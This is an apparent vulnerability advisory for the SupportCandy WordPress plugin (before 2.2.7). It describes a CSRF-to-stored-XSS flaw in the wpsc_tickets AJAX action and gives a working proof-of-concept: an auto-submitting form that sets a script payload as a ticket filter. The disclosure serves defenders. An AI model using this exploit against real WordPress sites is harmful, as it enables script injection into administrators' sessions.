SupportCandy < 2.2.7 - CSRF to Cross-Site Scripting

2022-01-0500:00:00

apple502j

supportcandy

csrf

cross-site scripting

admin-ajax.php

wpsc_tickets

set_custom_filter

page_no

custom_filter

xss

exploit

admin.php page

EPSS

0.001

Percentile

39.2%

JSON

The plugin does not have CSRF check in the wpsc_tickets AJAX action, nor has any sanitisation or escaping in some of the filter fields which could allow attackers to make a logged in user having access to the ticket lists dashboard set an arbitrary filter (stored in their cookies) with an XSS payload in it.

<form action="https://example.com/wp-admin/admin-ajax.php" method="POST" id="csrf">
<input type="hidden" name="action" value="wpsc_tickets">
<input type="hidden" name="setting_action" value="set_custom_filter">
<input type="hidden" name="page_no" value="1">
<input type="hidden" name="custom_filter[s]" value="&quot;><script>alert(/XSS/)</script>">
</form><script>csrf.submit()</script>

Go to https://example.com/wp-admin/admin.php?page=wpsc-tickets to trigger the XSS

EPSS

0.001

Percentile

39.2%

JSON

Related for WPEX-ID:6DFB4F61-C8CB-40AD-812F-139482BE0FB4